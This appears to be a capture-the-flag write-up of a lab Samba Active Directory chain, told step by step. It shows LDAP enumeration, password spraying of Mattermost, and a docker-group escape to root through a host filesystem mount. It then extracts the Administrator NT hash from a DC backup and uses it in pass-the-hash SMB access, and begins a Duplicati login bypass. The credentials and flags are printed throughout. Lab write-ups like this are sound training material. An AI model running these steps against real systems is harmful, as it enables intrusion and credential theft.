
Try another way to proceed to enumeration via LDAP:

$ ldapdomaindump -u 'unintended.vl\juan' -p 'theJUANman2019' -o DC.UNINTENDED.VL --no-json --no-grep 10.10.133.53
[*] Connecting to host...
[*] Binding to host
Traceback (most recent call last):

Failed

Something is pretty weird, as this is a Linux Samba 4 AD seems many tools don’t work correctly as they do it with Windows AD.

After more research, we have identified that Strong authentication is required with this configuration of Samba 4, that cause some issue.

So change the way to enumerate with a classic ldapsearch.

Enumerate users and computers objects:

$ LDAPTLS_REQCERT=never ldapsearch -H ldaps://dc.unintended.vl -D 'unintended\juan' -w  'theJUANman2019' -LLL -s sub -b 'DC=unintended,DC=vl' '(objectclass=user)' 'samaccountname' | grep -i samaccountname: | cut -d' ' -f2
DC$
Administrator
krbtgt
cartor
Guest
abbie
BACKUP$
juan
WEB$

Enumerate groups and their members:

$ LDAPTLS_REQCERT=never ldapsearch -H ldaps://dc.unintended.vl -D 'unintended\juan' -w  'theJUANman2019' -LLL -s sub -b 'DC=unintended,DC=vl' '(objectclass=group)' 'member'         
dn: CN=Remote Desktop Users,CN=Builtin,DC=unintended,DC=vl

dn: CN=Users,CN=Builtin,DC=unintended,DC=vl
member: CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl
member: CN=Domain Users,CN=Users,DC=unintended,DC=vl
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl

dn: CN=Replicator,CN=Builtin,DC=unintended,DC=vl

dn: CN=Domain Admins,CN=Users,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl
member: CN=cartor,CN=Users,DC=unintended,DC=vl

dn: CN=Network Configuration Operators,CN=Builtin,DC=unintended,DC=vl

dn: CN=Enterprise Admins,CN=Users,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl

dn: CN=Cryptographic Operators,CN=Builtin,DC=unintended,DC=vl

dn: CN=RAS and IAS Servers,CN=Users,DC=unintended,DC=vl

dn: CN=Group Policy Creator Owners,CN=Users,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl

dn: CN=IIS_IUSRS,CN=Builtin,DC=unintended,DC=vl
member: CN=S-1-5-17,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl

dn: CN=DnsAdmins,CN=Users,DC=unintended,DC=vl

dn: CN=Terminal Server License Servers,CN=Builtin,DC=unintended,DC=vl

dn: CN=Windows Authorization Access Group,CN=Builtin,DC=unintended,DC=vl
member: CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl

dn: CN=Domain Computers,CN=Users,DC=unintended,DC=vl

dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=unintended,DC=vl

dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=unintended,DC=vl
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl

dn: CN=Account Operators,CN=Builtin,DC=unintended,DC=vl

dn: CN=Domain Users,CN=Users,DC=unintended,DC=vl

dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=unintended,DC=vl

dn: CN=Server Operators,CN=Builtin,DC=unintended,DC=vl

dn: CN=Performance Monitor Users,CN=Builtin,DC=unintended,DC=vl

dn: CN=Administrators,CN=Builtin,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl
member: CN=Domain Admins,CN=Users,DC=unintended,DC=vl
member: CN=Enterprise Admins,CN=Users,DC=unintended,DC=vl

dn: CN=Denied RODC Password Replication Group,CN=Users,DC=unintended,DC=vl
member: CN=krbtgt,CN=Users,DC=unintended,DC=vl
member: CN=Domain Admins,CN=Users,DC=unintended,DC=vl
member: CN=Enterprise Admins,CN=Users,DC=unintended,DC=vl
member: CN=Group Policy Creator Owners,CN=Users,DC=unintended,DC=vl
member: CN=Read-only Domain Controllers,CN=Users,DC=unintended,DC=vl
member: CN=Domain Controllers,CN=Users,DC=unintended,DC=vl
member: CN=Cert Publishers,CN=Users,DC=unintended,DC=vl
member: CN=Schema Admins,CN=Users,DC=unintended,DC=vl

dn: CN=Incoming Forest Trust Builders,CN=Builtin,DC=unintended,DC=vl

dn: CN=Guests,CN=Builtin,DC=unintended,DC=vl
member: CN=Guest,CN=Users,DC=unintended,DC=vl
member: CN=Domain Guests,CN=Users,DC=unintended,DC=vl

dn: CN=Print Operators,CN=Builtin,DC=unintended,DC=vl

dn: CN=Read-only Domain Controllers,CN=Users,DC=unintended,DC=vl

dn: CN=Domain Controllers,CN=Users,DC=unintended,DC=vl

dn: CN=Certificate Service DCOM Access,CN=Builtin,DC=unintended,DC=vl

dn: CN=Performance Log Users,CN=Builtin,DC=unintended,DC=vl

dn: CN=Domain Guests,CN=Users,DC=unintended,DC=vl

dn: CN=Backup Operators,CN=Builtin,DC=unintended,DC=vl
member: CN=abbie,CN=Users,DC=unintended,DC=vl

dn: CN=Web Developers,CN=Users,DC=unintended,DC=vl
member: CN=juan,CN=Users,DC=unintended,DC=vl

dn: CN=Distributed COM Users,CN=Builtin,DC=unintended,DC=vl

dn: CN=Event Log Readers,CN=Builtin,DC=unintended,DC=vl

dn: CN=Cert Publishers,CN=Users,DC=unintended,DC=vl

dn: CN=Schema Admins,CN=Users,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl

dn: CN=DnsUpdateProxy,CN=Users,DC=unintended,DC=vl

# refldaps://unintended.vl/CN=Configuration,DC=unintended,DC=vl

# refldaps://unintended.vl/DC=DomainDnsZones,DC=unintended,DC=vl

# refldaps://unintended.vl/DC=ForestDnsZones,DC=unintended,DC=vl
  • juan is a member of Web Developers
  • abbie is a member of Backup Operators
  • cartor is a member of Domain Admins

Mattermost - weak password spraying (Unintended_User-1)

As my instance has expired then set a new one:

10.10.242.229
10.10.242.230
10.10.242.231

We can signin to Mattermost using juan@unintended.vl:theJUANman2019 (found with juan@unintended.local but works with juan@unintended.vl):

image

And we can also authenicate to web.unintended.vl via SSH using unintended.vl\\juan:theJUANman2019 (don’t forget to add the domain as it’s not a PAM local user):

$ ssh unintended.vl\\juan@web.unintended.vl
(unintended.vl\juan@web.unintended.vl) Password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed May  1 09:46:34 AM UTC 2024

  System load:                      0.1025390625
  Usage of /:                       72.1% of 9.75GB
  Memory usage:                     56%
  Swap usage:                       0%
  Processes:                        177
  Users logged in:                  0
  IPv4 address for br-1c74e0922629: 172.19.0.1
  IPv4 address for br-9f7c921da56a: 172.18.0.1
  IPv4 address for br-d2d8c10f2c77: 172.21.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens5:            10.10.242.230


Expanded Security Maintenance for Applications is not enabled.

13 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Feb 24 19:45:33 2024 from 10.10.10.12
juan@unintended.vl@web:~$ 

We get the first flag Unintended_User-1:

juan@unintended.vl@web:~$ cat flag.txt
VL{5a4ef1c4294a00a6b669e0d91c66901c}

First, we will focus on Mattermost and checking the direct messages, we see that Juan Rathul (aka juank) has leaked the password scheme to Abbie Spencer (aka theabbs):

image

image

image

Juan has Web Developer role and Abbie has Server Admin role.

Following the same pattern than for Juan login juan@unintended.vl, we will send the login request to Burp Intruder with abbie@unintended.vl as login and the password scheme Abbie+ BirthYear (from 1995 to 2005, as we are in 2024 and seems she is pretty a young adult):

image

image

image

Found abbie@unintended.vl:Abbie1998

Now we use these credentials to check also the DM from Abbie:

image

Found another credentials abbie:Hiu8sy8SA8h2

I use it to login via SSH to web.unintended.vl:

$ ssh unintended.vl\\abbie@web.unintended.vl      
(unintended.vl\abbie@web.unintended.vl) Password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed May  1 10:37:51 AM UTC 2024

  System load:                      0.0390625
  Usage of /:                       72.2% of 9.75GB
  Memory usage:                     56%
  Swap usage:                       0%
  Processes:                        184
  Users logged in:                  1
  IPv4 address for br-1c74e0922629: 172.19.0.1
  IPv4 address for br-9f7c921da56a: 172.18.0.1
  IPv4 address for br-d2d8c10f2c77: 172.21.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens5:            10.10.242.230


Expanded Security Maintenance for Applications is not enabled.

13 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Mar 30 09:33:52 2024 from 10.8.0.101
abbie@unintended.vl@web:~$ 

Docker - privilege escalation (Unintended_User-2)

Quick check:

abbie@unintended.vl@web:~$ id
uid=320201104(abbie@unintended.vl) gid=320200513(domain users@unintended.vl) groups=320200513(domain users@unintended.vl)

abbie@unintended.vl@web:~$ sudo -l
[sudo] password for abbie@unintended.vl: 
Sorry, user abbie@unintended.vl may not run sudo on web.

abbie@unintended.vl@web:~$ pwd
/home/abbie@unintended.vl
abbie@unintended.vl@web:~$ ls -la
total 24
drwxr-xr-x 3 abbie@unintended.vl domain users@unintended.vl 4096 Mar 30 09:33 .
drwxr-xr-x 6 root                root                       4096 Mar 30 09:32 ..
lrwxrwxrwx 1 abbie@unintended.vl domain users@unintended.vl    9 Mar 30 09:33 .bash_history -> /dev/null
-rw-r--r-- 1 abbie@unintended.vl domain users@unintended.vl  220 Mar 30 09:32 .bash_logout
-rw-r--r-- 1 abbie@unintended.vl domain users@unintended.vl 3771 Mar 30 09:32 .bashrc
drwx------ 2 abbie@unintended.vl domain users@unintended.vl 4096 Mar 30 09:33 .cache
-rw-r--r-- 1 abbie@unintended.vl domain users@unintended.vl  807 Mar 30 09:32 .profile

Nothing interesting.

Try the same credentials to other servers:

  • DC:
$ ssh unintended.vl\\abbie@dc.unintended.vl
unintended.vl\abbie@dc.unintended.vl's password: 
Permission denied, please try again.

Failed

  • BACKUP:
$ ssh unintended.vl\\abbie@backup.unintended.vl
unintended.vl\abbie@backup.unintended.vl's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed May  1 10:43:45 AM UTC 2024

  System load:  0.080078125       Processes:                110
  Usage of /:   38.4% of 9.75GB   Users logged in:          0
  Memory usage: 13%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for ens5:    10.10.242.231


Expanded Security Maintenance for Applications is not enabled.

13 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Mar 30 09:35:41 2024 from 10.8.0.101
abbie@unintended.vl@backup:~$ 

Success

As always quick check:

abbie@unintended.vl@backup:~$ id
uid=320201104(abbie@unintended.vl) gid=320200513(domain users@unintended.vl) groups=320200513(domain users@unintended.vl),119(docker)
abbie@unintended.vl@backup:~$ hostname
backup.unintended.vl
abbie@unintended.vl@backup:~$ sudo -l
[sudo] password for abbie@unintended.vl: 
Sorry, user abbie@unintended.vl may not run sudo on backup.
abbie@unintended.vl@backup:~$ pwd
/home/abbie@unintended.vl
abbie@unintended.vl@backup:~$ ls -la
total 24
drwxr-xr-x 3 abbie@unintended.vl domain users@unintended.vl 4096 Mar 30 08:39 .
drwxr-xr-x 5 root                root                       4096 Feb 24 20:16 ..
lrwxrwxrwx 1 root                root                          9 Mar 30 08:39 .bash_history -> /dev/null
-rw-r--r-- 1 abbie@unintended.vl domain users@unintended.vl  220 Feb 24 20:16 .bash_logout
-rw-r--r-- 1 abbie@unintended.vl domain users@unintended.vl 3771 Feb 24 20:16 .bashrc
drwx------ 2 abbie@unintended.vl domain users@unintended.vl 4096 Feb 24 20:16 .cache
-rw-r--r-- 1 abbie@unintended.vl domain users@unintended.vl  807 Feb 24 20:16 .profile
abbie@unintended.vl@backup:~$ 

Abbie is in the docker group, which makes it trivial to become root on the host by mounting the root filesystem in a container.

We will check the docker instances currently running in the host if we can grab any sensitive data:

abbie@unintended.vl@backup:~$ docker ps
CONTAINER ID   IMAGE                COMMAND           CREATED        STATUS       PORTS     NAMES
3b4fb11f4672   python:3.11.2-slim   "sh ./setup.sh"   2 months ago   Up 2 hours             scripts_ftp_1

We found the FTP docker container then we will jump into:

abbie@unintended.vl@backup:~$ docker exec -it scripts_ftp_1 /bin/bash
root@ftp:/ftp# hostname
ftp.local

Quick enumeration:

root@ftp:/ftp# ls
server.py  setup.sh  volumes
root@ftp:/ftp# cat server.py 
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()

authorizer.add_user("ftp_admin", "u76n0wn287ak98f", "/ftp/volumes/", perm="elradfmw")

handler = FTPHandler
handler.authorizer = authorizer

server_local = FTPServer(("0.0.0.0", 21), handler)

server_local.serve_forever()
root@ftp:/ftp# 

Found ftp_admin:u76n0wn287ak98f

Since the target doesn’t have internet access we need to use an existing image.

Now we will use docker images then escalate privileges and get the second flag Unintended_User-2:

abbie@unintended.vl@backup:~$ docker images
REPOSITORY   TAG           IMAGE ID       CREATED         SIZE
python       3.11.2-slim   4d2191666712   13 months ago   128MB

abbie@unintended.vl@backup:~$ docker run -v /:/mnt --rm -it 4d2191666712 chroot /mnt bash

root@b3a24b2e61af:/# id
uid=0(root) gid=0(root) groups=0(root)

root@b3a24b2e61af:/# ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var
root@b3a24b2e61af:/# cat /root/
.bash_history              .cache/                    .profile                   .sudo_as_admin_successful  scripts/                   
.bashrc                    .local/                    .ssh/                      flag.txt                   snap/                      
root@b3a24b2e61af:/# ls /root
flag.txt  scripts  snap
root@b3a24b2e61af:/# cat /root/flag.txt 
VL{c18f3ed84329a184b86c4a8d5afcfee0}

We connect to backup.unintended.vl via FTP using our new credentials ftp_admin:u76n0wn287ak98f:

$ ftp ftp_admin@backup.unintended.vl 
Connected to backup.unintended.vl.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Quick check:

$ ftp ftp_admin@backup.unintended.vl
Connected to backup.unintended.vl.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||43147|).
150 File status okay. About to open data connection.
drw-rw----   2 root     root         4096 Jan 25 07:13 docker_src
drw-rw----   2 root     root         4096 Feb 17 20:33 domain_backup
226 Transfer complete.
ftp> quit
221 Goodbye.

Found 2 folders.

Then download all:

$ wget -r ftp://ftp_admin:u76n0wn287ak98f@backup.unintended.vl/                                                                                       
--2024-05-01 20:25:13--  ftp://ftp_admin:*password*@backup.unintended.vl/
           => ‘backup.unintended.vl/.listing’
Resolving backup.unintended.vl (backup.unintended.vl)... 10.10.242.231
Connecting to backup.unintended.vl (backup.unintended.vl)|10.10.242.231|:21... connected.
Logging in as ftp_admin ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.
...

Quick check:

$ tree                                         
.
├── docker_src
│   ├── duplicati-20240125T071045Z.dlist.zip
│   ├── duplicati-b71dd219377964328aa2c79f4bc7354a5.dblock.zip
│   ├── duplicati-b9d86c254096f4531b0be8e536a59ff07.dblock.zip
│   ├── duplicati-ba27818c8bd7a4ea6a506fde8314c48d1.dblock.zip
│   ├── duplicati-i48680ba57a084652a109d584aebc63a9.dindex.zip
│   ├── duplicati-i570def036a8d475c9ec47b861bee206a.dindex.zip
│   └── duplicati-ie324293d766446ddbe27823f52e30d4c.dindex.zip
└── domain_backup
    └── samba-backup-2024-02-17T20-32-13.580437.tar.bz2

3 directories, 8 files

Seems:

  • docker_src files are related to the Duplicati service running on web.unintended.vl
  • domain_backup file is related to the samba backup of the domain

Samba backup exploitation (Unintended_Root)

Decompress the samba archive:

$ bunzip2 samba-backup-2024-02-17T20-32-13.580437.tar.bz2
$ tar xvf samba-backup-2024-02-17T20-32-13.580437.tar 
$ tree                                               
.
├── backup.txt
├── etc
│   ├── gdbcommands
│   ├── smb.conf
│   └── smb.conf.bak
├── private
│   ├── dns_update_cache
│   ├── dns_update_list
│   ├── encrypted_secrets.key
│   ├── hklm.ldb
│   ├── idmap.ldb
│   ├── krb5.conf
│   ├── passdb.tdb
│   ├── privilege.ldb
│   ├── sam.ldb
│   ├── sam.ldb.d
│   │   ├── CN=CONFIGURATION,DC=UNINTENDED,DC=VL.ldb
│   │   ├── CN=SCHEMA,CN=CONFIGURATION,DC=UNINTENDED,DC=VL.ldb
│   │   ├── DC=DOMAINDNSZONES,DC=UNINTENDED,DC=VL.ldb
│   │   ├── DC=FORESTDNSZONES,DC=UNINTENDED,DC=VL.ldb
│   │   ├── DC=UNINTENDED,DC=VL.ldb
│   │   └── metadata.tdb
│   ├── schannel_store.tdb
│   ├── secrets.keytab
│   ├── secrets.ldb
│   ├── secrets.tdb
│   ├── share.ldb
│   ├── spn_update_list
│   └── tls
│       ├── ca.pem
│       ├── cert.pem
│       └── key.pem
├── samba-backup-2024-02-17T20-32-13.580437.tar
├── state
│   ├── account_policy.tdb
│   ├── group_mapping.tdb
│   ├── registry.tdb
│   ├── share_info.tdb
│   └── winbindd_cache.tdb
└── sysvol.tar.gz

6 directories, 35 files

Quick check:

$ cat etc/smb.conf 
# Global parameters
[global]
	dns forwarder = 127.0.0.53
	netbios name = DC
	realm = UNINTENDED.VL
	server role = active directory domain controller
	workgroup = UNINTENDED
	idmap_ldb:use rfc2307 = yes

[sysvol]
	path = /var/lib/samba/sysvol
	read only = No

[netlogon]
	path = /var/lib/samba/sysvol/unintended.vl/scripts
	read only = No
[home]
        comment = Home Directories
        browseable = yes
        read only = no
        create mask = 0700
        directory mask = 0700
        path = /home/%U@unintended.vl
        valid users = administrator, cartor

Confirmed DC Backup

After more search into folders, we found a great stuff:

$ cd private      
$ ls
dns_update_cache  encrypted_secrets.key  idmap.ldb  passdb.tdb     sam.ldb    schannel_store.tdb  secrets.ldb  share.ldb        tls
dns_update_list   hklm.ldb               krb5.conf  privilege.ldb  sam.ldb.d  secrets.keytab      secrets.tdb  spn_update_list

Install LDB-TOOLS:

$ sudo apt install ldb-tools

Now, we will extract data from sam.ldb, it’s the Linux AD version of the Windows SAM (in Windows systems that stores user hashes):

Note: Hummm similar than HackTheBox Endgame “Solar”.

$ ldbsearch -H ./sam.ldb '(&(objectclass=person)(name=Administrator))' name unicodePwd  
# record 1
dn: CN=Administrator,CN=Users,DC=unintended,DC=vl
name: Administrator
unicodePwd:: Nv4kHqDqpTPV+si9f7b4ow==

# Referral
ref: ldap:///CN=Configuration,DC=unintended,DC=vl

# Referral
ref: ldap:///DC=DomainDnsZones,DC=unintended,DC=vl

# Referral
ref: ldap:///DC=ForestDnsZones,DC=unintended,DC=vl

# returned 4 records
# 1 entries
# 3 referrals

Found Administrator:Nv4kHqDqpTPV+si9f7b4ow==

Decode UnicodePwd to NTHash (decode it from base64 and convert it to HEX):

$ python3 -c "import base64; import binascii; print (str(binascii.hexlify(base64.b64decode('Nv4kHqDqpTPV+si9f7b4ow==', altchars=None, validate=False)), 'UTF-8'))"
36fe241ea0eaa533d5fac8bd7fb6f8a3

Double check of the admin hash:

$ nxc smb dc.unintended.vl -u 'Administrator' -H '36fe241ea0eaa533d5fac8bd7fb6f8a3'
SMB         10.10.242.229   445    DC               [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB         10.10.242.229   445    DC               [+] unintended.vl\Administrator:36fe241ea0eaa533d5fac8bd7fb6f8a3 (Pwn3d!)

We have a way where we can change the admin password:

$ rpcclient -U unintended.vl/Administrator 10.10.242.229 --pw-nt-hash                                             
Password for [UNINTENDED.VL\Administrator]:
rpcclient $> quit

But we will not do like this, just wanted to use a more smart and direct way to grab the final root flag.

Share folders enumeration on the DC:

$ nxc smb dc.unintended.vl -u 'Administrator' -H '36fe241ea0eaa533d5fac8bd7fb6f8a3' --shares
SMB         10.10.133.53    445    DC               [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB         10.10.133.53    445    DC               [+] unintended.vl\Administrator:36fe241ea0eaa533d5fac8bd7fb6f8a3 (Pwn3d!)
SMB         10.10.133.53    445    DC               [*] Enumerated shares
SMB         10.10.133.53    445    DC               Share           Permissions     Remark
SMB         10.10.133.53    445    DC               -----           -----------     ------
SMB         10.10.133.53    445    DC               sysvol          READ,WRITE      
SMB         10.10.133.53    445    DC               netlogon        READ,WRITE      
SMB         10.10.133.53    445    DC               home            READ,WRITE      Home Directories
SMB         10.10.133.53    445    DC               IPC$                            IPC Service (Samba 4.15.13-Ubuntu)

We have RW to /home

Now we can access to this home share folder using smbclient:

$ smbclient -W unintended.vl -U Administrator%36fe241ea0eaa533d5fac8bd7fb6f8a3 --pw-nt-hash //10.10.242.229/home
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Mar 30 17:37:08 2024
  ..                                  D        0  Sun Feb 25 05:13:16 2024
  .profile                            H      807  Sun Feb 25 05:13:16 2024
  .cache                             DH        0  Sun Feb 25 05:13:16 2024
  .bashrc                             H     3771  Sun Feb 25 05:13:16 2024
  .bash_logout                        H      220  Sun Feb 25 05:13:16 2024
  root.txt                            N       37  Sat Mar 30 17:37:08 2024

		10218772 blocks of size 1024. 6229000 blocks available
smb: \> mget root.txt
Get file root.txt? yes
getting file \root.txt of size 37 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> quit

Finally get the root flag (Unintended_Root):

$ cat root.txt   
VL{5a367ff2f89cefb51283cce67daaf206}

We can do the same with Netexec:

Search for any text file in home:

$ nxc smb dc.unintended.vl -u 'Administrator' -H '36fe241ea0eaa533d5fac8bd7fb6f8a3' --spider home --pattern txt
SMB         10.10.133.53    445    DC               [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB         10.10.133.53    445    DC               [+] unintended.vl\Administrator:36fe241ea0eaa533d5fac8bd7fb6f8a3 (Pwn3d!)
SMB         10.10.133.53    445    DC               [*] Started spidering
SMB         10.10.133.53    445    DC               [*] Spidering .
SMB         10.10.133.53    445    DC               //10.10.133.53/home/root.txt [lastm:'2024-03-30 17:37' size:37]
SMB         10.10.133.53    445    DC               [*] Done spidering (Completed in 3.5749783515930176)

Download the root flag Unintended_Root:

$ nxc smb dc.unintended.vl -u 'Administrator' -H '36fe241ea0eaa533d5fac8bd7fb6f8a3' --share home --get-file root.txt dc_unintended_vl-root.txt
SMB         10.10.133.53    445    DC               [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB         10.10.133.53    445    DC               [+] unintended.vl\Administrator:36fe241ea0eaa533d5fac8bd7fb6f8a3 (Pwn3d!)
SMB         10.10.133.53    445    DC               [*] Copying "root.txt" to "dc_unintended_vl-root.txt"
SMB         10.10.133.53    445    DC               [+] File "root.txt" was downloaded to "dc_unintended_vl-root.txt"

Read the root flag:

$ cat dc_unintended_vl-root.txt 
VL{5a367ff2f89cefb51283cce67daaf206}

Duplicati backup exploitation

As my instance has been stopped the i started a new one:

# VulnLab
10.10.174.245	dc.unintended.vl unintended.vl
10.10.174.246	web.unintended.vl	chat.unintended.vl	code.unintended.vl
10.10.174.247	backup.unintended.vl

Hummmm even if we completed the goal to become Domain Admin with the final flag, this chain is composed of 4 flags:

  • Unintended_User-1 > done
  • Unintended_User-2 > done
  • Unintended_User-3 > miss
  • Unintended_Root > done

So we need to step back and found our last flag to complete 100% of this chain.

From my perspective, only 2 things related to the same product/service have not yet been checked:

  • Duplicati web portal:

image

  • Duplicati backup:
$ ls docker_src 
duplicati-20240125T071045Z.dlist.zip                    duplicati-ba27818c8bd7a4ea6a506fde8314c48d1.dblock.zip  duplicati-ie324293d766446ddbe27823f52e30d4c.dindex.zip
duplicati-b71dd219377964328aa2c79f4bc7354a5.dblock.zip  duplicati-i48680ba57a084652a109d584aebc63a9.dindex.zip
duplicati-b9d86c254096f4531b0be8e536a59ff07.dblock.zip  duplicati-i570def036a8d475c9ec47b861bee206a.dindex.zip

Because we don’t have any idea on how to restore any backup for Duplicati, we search on Google and found this interesting post in Duplicati forum:

Duplicati - Independent restore program

image

Then we found the link to the Duplicati GitHub hosted Ben Fisher’s RestoreFromPython

image

Download the required python scripts:

$ wget https://github.com/duplicati/duplicati/raw/master/Tools/Commandline/RestoreFromPython/ijson.py
$ wget https://github.com/duplicati/duplicati/raw/master/Tools/Commandline/RestoreFromPython/pyaescrypt.py
$ wget https://github.com/duplicati/duplicati/raw/master/Tools/Commandline/RestoreFromPython/restore_from_python.py

Create the restore folder:

$ mkdir duplicati

Execute the recovery process:

$ python3 restore_from_python.py        
Welcome to Python Duplicati recovery.
Please type the full path to a directory with Duplicati's .aes or .zip files:./docker_src
Please type * to restore all files, or a pattern like /path/to/files/* to restore the files in a certain directory)*
Please enter the path to an empty destination directory:duplicati
using duplicati-20240125T071045Z.dlist.zip which looks like the most recent dlist.
Creating index, this may take some time...
...Restoring files...
Symlink existed at /source/root/scripts/mysql/mysql.sock
...

Hummmm that take a long time so we can take a coffee or a redbull then at the end, seems all files have been restored correctly:

$ tree duplicati
duplicati
└── source
    └── root
        └── scripts
            ├── apache
            │   └── 000-default.conf
            ├── docker-compose.yml
            ├── duplicati
            │   └── config
            │       ├── Duplicati-server.sqlite
            │       ├── IRFTMLEYVT.sqlite
            │       ├── IRFTMLEYVT.sqlite-journal
            │       └── control_dir_v2
            │           └── lock_v2
            ├── gitea
            │   ├── git
            │   │   └── repositories
            │   │       └── juan
            │   │           ├── devops.git
            │   │           │   ├── HEAD
            │   │           │   ├── config
            │   │           │   ├── description
            │   │           │   ├── git-daemon-export-ok
            │   │           │   ├── hooks
...<skip>...
            │   ├── private_key.pem
            │   ├── public_key.pem
            │   ├── server-cert.pem
            │   ├── server-key.pem
            │   ├── sys
            │   │   └── sys_config.ibd
            │   ├── undo_001
            │   └── undo_002
            └── web
                ├── requirements.txt
                ├── setup.sh
                └── src
                    ├── app.py
                    ├── static
                    │   └── working.jpg
                    └── templates
                        └── under_construction.html

235 directories, 2444 files

Find the Duplicati sqlite database:

$ tree duplicati/source/root/scripts/duplicati 
duplicati/source/root/scripts/duplicati
└── config
    ├── Duplicati-server.sqlite
    ├── IRFTMLEYVT.sqlite
    ├── IRFTMLEYVT.sqlite-journal
    └── control_dir_v2
        └── lock_v2

3 directories, 4 files

List the tables:

$ sqlite3 duplicati/source/root/scripts/duplicati/config/Duplicati-server.sqlite 
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
Backup        Log           Option        TempFile    
ErrorLog      Metadata      Schedule      UIStorage   
Filter        Notification  Source        Version

List the content of many tables and found a good stuff in Options:

sqlite> select * from Option;
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|ZhB5vA+1uCde2Gozh9/CXKfPt8MoNcUklyfk1vBuuQk=
-2||server-passphrase-salt|j+7JQsuO7aggNAESQRkCBJd8dwdUE6A9QLTKXM3LB7w=
-2||server-passphrase-trayicon|4f760941-ce8f-4e03-b427-a92319d6d763
-2||server-passphrase-trayicon-hash|VHwBLiNdg/D545Utf8j67DSvqTvBmhpJIWzWmJCiV3o=
-2||last-update-check|638417625259706730
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|
-2||unacked-warning|
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
1||encryption-module|
1||compression-module|zip
1||dblock-size|50mb
1||--no-encryption|true
1||retention-policy|1W:1D,4W:1W,12M:1M

Found server-passphrase|ZhB5vA+1uCde2Gozh9/CXKfPt8MoNcUklyfk1vBuuQk=

Nothing more then we exit:

sqlite> .quit

Duplicati Bypassing login authentication with server-passphrase (Unintended_User-3)

Using Burp (Intercept enabled) and enter the password 12345 to check the POST request:

image

  1. The 1st request gets a nonce from the server:

image

POST /login.cgi HTTP/1.1
Host: web.unintended.vl:8200
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 11
